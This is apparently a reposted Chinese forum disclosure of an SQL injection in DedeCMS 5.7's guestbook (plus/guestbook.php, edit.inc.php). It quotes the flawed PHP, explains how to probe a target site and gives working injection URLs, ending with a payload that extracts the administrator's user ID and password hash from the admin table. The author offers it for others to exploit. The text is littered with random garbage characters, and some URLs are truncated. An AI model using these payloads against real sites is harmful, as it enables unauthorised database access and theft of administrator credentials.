影响版本为5.7
6 V7 u7 \6 }* |. G3 d1 C5 @/ d& S1 w7 m8 ^* [# ^
漏洞文件edit.inc.php具体代码:
# f0 d& u2 m c/ S
( e: S. N: K( D( v0 d< ?php I8 F# v3 i9 G! V0 e: V
. x! G' g4 D- i1 P+ k i' m ?3 Z
if(!defined('DEDEINC')) exit('Request Error!');
# i, r/ V% ]( J
# m6 Q$ B0 G- V9 V( e6 M
8 b3 x, A: D7 e9 O$ { W8 b5 F# {, n9 n# p1 n b/ c) }, |! I
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; ; ^0 r) {9 v( v/ }4 ~( |! j: D
$ x3 \9 V5 P& ]
else $GUEST_BOOK_POS = "guestbook.php"; / _9 h9 J$ \% j# \& v) M% S, M- W7 G
' ?3 f% ]: t6 Q6 P: c* e1 g
) p. j* j6 w R+ F- p
) w! _9 O" {$ U: v, Y" [9 Z2 X" B$id = intval($id); 9 f5 a' P0 x ?- J3 F
! \4 j: l3 e% p% T" v) I. A* Uif(empty($job)) $job='view'; 0 e1 Z/ v# f5 O
; d; ~: c% | z7 L+ S2 b$ a
# [0 h% k- C$ n- j. o3 k; ]) W; r$ N0 w8 ]
if($job=='del' && $g_isadmin)
' _9 B0 `5 C1 d4 _% A; `/ _# \+ @% ]
{ , X( L" {9 T# ?! _/ T1 v
5 @! O5 B8 j8 [" E, q
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
. F1 P) o' X0 L) ]+ s" Y: b% z" N; w6 V7 t8 C9 k
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 9 I2 Z7 W8 Y/ [; }
- J/ Z+ R2 M' [8 v w, r2 H1 L; Oexit();
% o4 V O5 S* d5 Z& Y2 x4 v! ]4 v, _
} % F" a- Z1 ]; N0 q' _ C
3 U, J( K+ D7 U; H* x1 uelse if($job=='check' && $g_isadmin) ; M) r' P/ K8 x
5 D, c4 h% P/ {! m0 I{
9 t2 U+ e" K5 G. E1 `, J! c& ?1 Q
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
9 n- s, o( w/ D4 \' J, b) Q7 E6 X1 N) ]
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); 5 a( x) A$ f6 [$ s( {$ K' V/ \+ ~
9 m& R7 S1 n4 G. {$ x
exit();
# E, J o5 U8 F$ Q7 y+ r# }; ~$ ^8 C3 i5 d6 z% G
}
/ n! F5 T$ c' i) m1 s+ O$ F4 G& d8 i$ e8 v
else if($job=='editok')
& V8 g! i: L8 b% r
+ A8 l* G/ i; X3 v{
3 X) S4 m( p' o& d
2 u' t6 ]0 ^8 ]" J/ ^" t4 U+ ?$remsg = trim($remsg); 8 t, M1 C: P2 o2 l; F$ |
* j& I9 t: V7 @& _: A3 p4 J5 O
if($remsg!='') + O( s$ A, O0 {1 U; O' N! d
/ r1 @) z) j' {' b; l{
" F; W7 c8 ?7 `5 K; w% O7 W
# ^: P) t# p+ Z- V, j//管理员回复不过滤HTML By:Errorera blog:errs.cc $ e+ R; B+ ]# v* _/ ~$ U* ]
1 i/ a( ]4 ]7 k" I3 [, [if($g_isadmin) S! q: ] {% q. k7 N/ W3 E
" Q" ?3 B' p( s/ t1 f
{
1 q" `# E: e# k3 ]$ |
1 [1 ?% `- B" H1 q. k$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
0 n$ L; X2 p! C ?$ q2 P. o
+ s3 @$ N2 P2 _- _+ E//$remsg <br /><font color=red>管理员回复:</font> } * K) B) z' @6 v9 R+ H9 d
8 T" v% q1 C: j: { H6 G$ l8 {4 j# y
else 7 b0 t. w5 y9 H: F' I5 [
7 }1 N. u' `* c, O( k{ 7 C0 p- I# S, t/ E
* f7 q9 g3 S) w+ C. y/ i
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
/ a( D9 @4 m9 F* j( d4 G
0 P: K1 U8 U" A8 @4 x$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
# |) [7 K* _$ x7 J! R3 A7 u
# D$ @9 w$ U) U" ~/ D; u Z( S. @$remsg = trimMsg(cn_substrR($remsg, 1024), 1); & s8 G6 V" [% J' u3 t) S, N! K4 }' E
1 P+ L; f0 ?- o5 J
$msg = $oldmsg.$remsg; 7 m& ?* M& G/ J. s T$ A) j
8 _3 z( S, B, c. T2 U}
2 p- f: p6 k. Z r* l7 K1 R" F% o& m
" {* f! ^& g3 r. _} 9 A8 `* U0 @1 W5 r/ S
' T- T$ ^( r d/ a, I//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
* w2 g! u0 {6 O2 A, f1 i$ D
, g% m; B) Y5 U: \" O% _! h- p+ o$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
9 M. Y6 B5 u* I, k3 W; c. p! u, a
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); 2 l$ P+ X/ \: C
! ~+ y6 _" A. v8 |
exit(); . K* o. s( W2 A! `7 }
8 p+ {# N6 L7 f& D7 A( ^4 S}
- w6 ~* O5 p; y+ D/ |8 Z2 u: A6 X5 F. }" h6 ?% ~4 o) i
//home:www.errs.cc # _ \5 _8 c: y0 t) K; z2 h4 g
& k7 U ~; q9 o7 {if($g_isadmin)
$ i7 I: n, E; h4 u, r1 @6 \: Z- H
{ . D) D6 |5 d( h
0 L' o9 j0 v. C5 j& p2 Q4 a4 R
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); , {- J+ @1 \" x
( x# [1 m/ h Z3 ~2 r9 krequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
+ Y) p& f" G: D) k4 K3 l) W m0 p- ?. \" L3 T! d
} Y9 p/ [7 O7 T8 }
' p' _! o# G8 }7 p
else 7 x" i9 d. u/ b1 B, c" L
2 T B% |: j4 C! ?8 D
{
, L7 ^! |" |, X. C7 i
* Y2 u8 ?. ~: z% _$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 3 _; T& q# \' F
+ t, U7 g+ [& A: V8 G- c+ S" G
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
7 t% |) c- z. C8 ?, {+ Y7 X N& D8 K* B
} 漏洞成功需要条件:
8 \7 l4 t/ Z0 P; t6 Z% u" |$ H, _2 n& ]1. php magic_quotes_gpc=off1 s: k' B1 y- K) V0 t
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
$ \# J% ` i7 I+ i+ `6 a! q6 L& ]- J/ h, b: ^# g4 Q7 Y
怎么判断是否存在漏洞:
' r+ s( n. w5 x% f" m' c5 _先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
[2 V5 e5 ~& J+ p6 o, U0 W3 W然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 D, e# K. Z, F" B3 Z# k访问:
6 o4 H' h! F! |- k7 V9 q8 q% }% a5 W/ R
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了 n& ]5 u i* h. A6 s; J. t
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 r% Q( D4 P5 s- B
- f+ |- J% E! |6 f0 B8 |, b" \: x; E: s( s1 T" J; B" S" E
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off6 C' |- A; u d- B' ^. g6 c
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
' N% ]: y8 M: n( ~7 z; X- m那么再次访问
: }0 @* |/ T8 V' i
" D1 X& I( y8 E" C4 r+ zwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 M% z3 \5 Z* J2 I/ A2 E s! D5 Y* d6 H* r
大概利用就是这样,大家有兴趣的多研究下!!
/ s8 ~" Y- a! f& `, u2 K; y ]
9 ?8 I' }# P" q% w! m7 ~; J& E9 w6 Z最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!- b2 m" }6 f: B4 ~0 [# m
* g, ?7 U0 q7 p* G. j
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |